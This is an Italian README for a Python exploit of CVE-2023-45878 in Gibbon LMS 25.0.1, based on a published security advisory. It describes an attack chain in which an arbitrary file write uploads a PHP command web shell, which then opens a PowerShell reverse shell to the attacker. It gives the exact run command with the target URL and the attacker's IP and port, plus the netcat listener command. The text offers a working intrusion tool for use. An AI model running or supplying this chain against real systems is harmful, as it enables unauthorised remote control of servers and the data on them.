
Exploit Python per CVE-2023-45878 che prende di mira Gibbon LMS 25.0.1. Utilizza la scrittura arbitraria di file per caricare una web shell PHP ed eseguire una reverse shell PowerShell per l'accesso remoto.
Ho scritto questo script basandomi sul lavoro di https://herolab.usd.de/security-advisories/usd-2023-0025/ . L'exploit sfrutta una vulnerabilità di scrittura arbitraria di file in Gibbon LMS 25.0.1. Questa PoC caricherà un semplice script php cmd, e poi lo userà per caricare una reverse shell PowerShell.
python3 CVE-2023-45878.py -u http://target.com/Gibbon-LMS -l 10.10.16.2 -p 8888 -f asdf
Opzioni:
-u, URL in cui è installato Gibbon LMS.
-l, il tuo IP
-p, la tua porta in ascolto
-f, nome del file. Importante se devi testare manualmente. Il default è "asdf".
Tieni pronto un listener per la shell in arrivo.
nc -lvnp 8888